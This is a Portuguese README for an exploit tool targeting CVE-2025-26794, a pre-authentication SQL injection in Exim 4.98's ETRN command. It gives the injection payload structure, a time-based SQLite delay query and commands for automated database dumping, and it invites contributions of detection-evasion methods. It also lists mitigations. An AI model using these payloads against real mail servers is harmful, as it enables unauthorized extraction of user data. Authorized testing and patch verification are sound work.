CVE-2025-26794: Exploit de Injeção SQL via ETRN no Exim

Uma ferramenta de exploit de prova de conceito para CVE-2025-26794, demonstrando a vulnerabilidade de injeção SQL no servidor de e-mail Exim 4.98 através do comando ETRN quando se usa armazenamento DBM SQLite.

⚠️ Aviso Legal

APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS

Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. O acesso não autorizado a sistemas de computador é ilegal sob diversas leis, incluindo:

• Computer Fraud and Abuse Act (CFAA) nos Estados Unidos
• Computer Misuse Act no Reino Unido
• Legislação semelhante em outras jurisdições

Você deve ter autorização explícita por escrito antes de testar qualquer sistema que não possua.

Os autores e colaboradores não assumem qualquer responsabilidade por uso indevido ou danos causados por esta ferramenta.

📋 Visão Geral da Vulnerabilidade

CVE-2025-26794 é uma vulnerabilidade de injeção SQL no Exim 4.98 que ocorre quando:

• O Exim está configurado com armazenamento DBM SQLite
• O manipulador do comando ETRN processa dados serializados
• A entrada controlada pelo usuário não é suficientemente sanitizada antes da construção da consulta SQL

Esta vulnerabilidade permite que atacantes:

• Extraiam dados sensíveis do banco de dados do servidor de e-mail
• Realizem ataques de injeção SQL cega baseada em tempo
• Enumerem a estrutura do banco de dados (tabelas, colunas, dados)

Versões Afetadas

• Exim 4.98 com configuração DBM SQLite

Vetor de Ataque

• Serviço SMTP acessível pela rede (normalmente porta 25)
• Nenhuma autenticação necessária (comando ETRN disponível antes da autenticação)

🚀 Recursos

• Teste de Vulnerabilidade: Verificação automatizada para confirmar se o alvo é vulnerável
• SQLi Cega Baseada em Tempo: Utiliza técnicas de atraso de tempo do SQLite para extração de dados
• Otimização por Busca Binária: Extração eficiente caractere por caractere
• Despejo Automatizado de Banco de Dados: Extrai tabelas, colunas e dados de amostra
• Modo Interativo: Executa consultas SQL personalizadas de forma interativa
• Operação em Múltiplos Modos: Estratégias flexíveis de extração

📦 Instalação

Requisitos

• Python 3.6 ou superior
• Acesso de rede ao servidor SMTP alvo

Configuração

# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit

# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt

# Make script executable (Linux/Mac)
chmod +x exploit.py

💻 Uso

Sintaxe Básica

python3 exploit.py <target> [options]

Exemplos Rápidos

1. Testar se o Alvo é Vulnerável

python3 exploit.py 192.168.1.10 --test-only

2. Despejo Automatizado do Banco de Dados

python3 exploit.py mail.example.com --auto-dump

3. Modo Interativo de Consulta SQL

python3 exploit.py 10.0.0.5 --interactive

4. Extrair Estrutura de Tabela Específica

python3 exploit.py 192.168.1.10 --table users --columns

5. Executar Consulta SQL Personalizada

python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"

Opções de Linha de Comando

🔍 Como Funciona

Fluxo de Ataque

1. Conexão: Estabelece conexão SMTP com o servidor alvo
2. Medição de Linha de Base: Envia comando ETRN normal para medir o tempo de resposta
3. Teste de Injeção: Envia payload SQL com atraso de tempo para confirmar a vulnerabilidade
4. Extração de Dados: Utiliza busca binária com SQLi cega baseada em tempo para extrair dados caractere por caractere

Estrutura do Payload de Injeção SQL

ETRN #',1); <MALICIOUS_QUERY> /*

O payload explora a sanitização inadequada no manipulador de serialização do ETRN, permitindo injeção SQL em consultas SQLite.

Detecção Baseada em Tempo

Utiliza atraso de tempo específico do SQLite:

SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

Isso cria um atraso mensurável (~1-2 segundos) quando a condição é verdadeira.

📊 Exemplo de Saída

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-26794: Exim SQLi Data Extraction Tool        ║
║                  FOR AUTHORIZED USE ONLY                  ║
╚═══════════════════════════════════════════════════════════╝

[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s

[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users

[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email

🛡️ Mitigação

Se você estiver executando o Exim 4.98 com DBM SQLite:

1. Atualize o Exim: Atualize para a versão corrigida (4.98.1 ou posterior)
2. Validação de Entrada: Implemente validação rigorosa do comando ETRN
3. Consultas Parametrizadas: Use declarações preparadas para todas as operações de banco de dados
4. Regras de Firewall: Restrinja o acesso SMTP a redes confiáveis
5. Desative o ETRN: Se não for necessário, desative o comando ETRN na configuração do Exim

🔧 Detalhes Técnicos

Algoritmo de Busca Binária

O exploit usa busca binária para extrair caracteres de forma eficiente:

• Faixa ASCII imprimível: 32-126
• Média de consultas por caractere: ~7 (log₂ 94)
• Otimizado para tráfego de rede mínimo

Funções SQLite Utilizadas

• unicode(): Obter o valor ASCII do caractere
• substr(): Extrair substring do resultado
• sqlite_master: Tabela do sistema para enumeração de esquema
• pragma_table_info(): Extração de metadados de colunas

📚 Referências

• Detalhes do CVE: CVE-2025-26794
• Aviso de Segurança do Exim: [Aviso de Segurança Oficial do Exim]
• Injeção SQL OWASP: Guia OWASP

🤝 Contribuindo

Contribuições são bem-vindas para:

• Otimizações de desempenho
• Técnicas adicionais de extração
• Métodos de evasão de detecção
• Correções de bugs e melhorias

Por favor, garanta que todas as contribuições incluam:

• Documentação clara
• Diretrizes de divulgação responsável
• Avisos de uso legal

📝 Licença

Este projeto é disponibilizado apenas para fins educacionais. Use com responsabilidade e legalidade.

👤 Autor

XploitGh0st

• GitHub: @XploitGh0st

🙏 Agradecimentos

• Equipe de desenvolvimento do Exim pelo tratamento responsável da vulnerabilidade
• Comunidade de pesquisa em segurança
• Pesquisadores das técnicas de injeção baseada em tempo do SQLite

⚖️ Divulgação Responsável

Se você descobrir vulnerabilidades usando esta ferramenta:

1. Não divulgue detalhes publicamente imediatamente
2. Entre em contato com o fornecedor/mantenedor em particular
3. Permita um tempo razoável para correção (normalmente 90 dias)
4. Siga as diretrizes de divulgação coordenada

Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use esta ferramenta de forma ética e legal.